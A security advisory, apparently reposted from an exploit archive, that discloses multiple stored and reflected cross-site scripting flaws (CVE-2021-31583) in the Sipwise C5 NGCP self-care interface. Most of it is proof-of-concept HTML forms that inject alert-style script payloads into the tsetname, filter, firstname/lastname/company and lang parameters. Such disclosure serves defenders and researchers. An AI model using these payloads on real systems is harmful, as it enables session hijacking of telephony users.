Sipwise C5 NGCP CSC Cross Site Scripting

2021.04.23
Credit: LiquidWorm
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79

Sipwise C5 NGCP CSC Multiple Stored/Reflected XSS Vulnerabilities Vendor: Sipwise GmbH Product web page: https://www.sipwise.com Affected version: <=CE_m39.3.1 NGCP www_admin version 3.6.7 Summary: Sipwise C5 (also known as NGCP - the Next Generation Communication Platform) is a SIP-based Open Source Class 5 VoIP soft-switch platform that allows you to provide rich telephony services. It offers a wide range of features (e.g. call forwarding, voicemail, conferencing etc.) that can be configured by end users in the self-care web interface. For operators, it offers a web-based administrative panel that allows them to configure subscribers, SIP peerings, billing profiles, and other entities. The administrative web panel also shows the real-time statistics for the whole system. For tight integration into existing infrastructures, Sipwise C5 provides a powerful REST API interface. Desc: Sipwise software platform suffers from multiple authenticated stored and reflected cross-site scripting vulnerabilities when input passed via several parameters to several scripts is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. Tested on: Apache/2.2.22 (Debian) Apache/2.2.16 (Debian) nginx Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2021-5648 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5648.php CVE ID: CVE-2021-31583 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31583 13.04.2021 -- Stored XSS (POST tsetname): --------------------------- <html> <body> <form action="https://10.0.1.7/callforward/time/set/save" method="POST"> <input type="hidden" name="tsetname" value="&quot;&gt;&lt;script&gt;confirm&#40;251&#41;&lt;&#47;script&gt;" /> <input type="hidden" name="subscriber&#95;id" value="401" /> <input type="hidden" name="x" value="90027" /> <input type="hidden" name="y" value="&#45;1" /> <input type="submit" value="Go for callforward" /> </form> </body> </html> Reflected XSS (GET filter): --------------------------- <html> <body> <form action="https://10.0.1.7/addressbook" method="GET"> <input type="hidden" name="filter" value='"><script>confirm(251)</script>' /> <input type="hidden" name="x" value="0" /> <input type="hidden" name="y" value="0" /> <input type="submit" value="Go for addressbook" /> </form> </body> </html> Stored XSS (POST firstname, lastname, company): ----------------------------------------------- <html> <body> <form action="https://10.0.1.7/addressbook/save" method="POST"> <input type="hidden" name="firstname" value='"><script>alert(251)</script>' /> <input type="hidden" name="lastname" value='"><script>alert(251)</script>' /> <input type="hidden" name="company" value='"><script>alert(251)</script>' /> <input type="hidden" name="homephonenumber" value="1112223333" /> <input type="hidden" name="phonenumber" value="3332221111" /> <input type="hidden" name="mobilenumber" value="" /> <input type="hidden" name="faxnumber" value="" /> <input type="hidden" name="email" value="lab%40zeroscience.mk" /> <input type="hidden" name="homepage" value="" /> <input type="hidden" name="id" value="" /> <input type="hidden" name="x" value="89957" /> <input type="hidden" name="y" value="21" /> <input type="submit" value="Go for addressbook 2" /> </form> </body> </html> Reflected XSS (GET lang): ------------------------- <html> <body> <form action="https://10.0.1.7/statistics/versions" method="GET"> <input type="hidden" name="lang" value="en'-alert(251)-'ZSL" /> <input type="submit" value="Go for statistics" /> </form> </body> </html>


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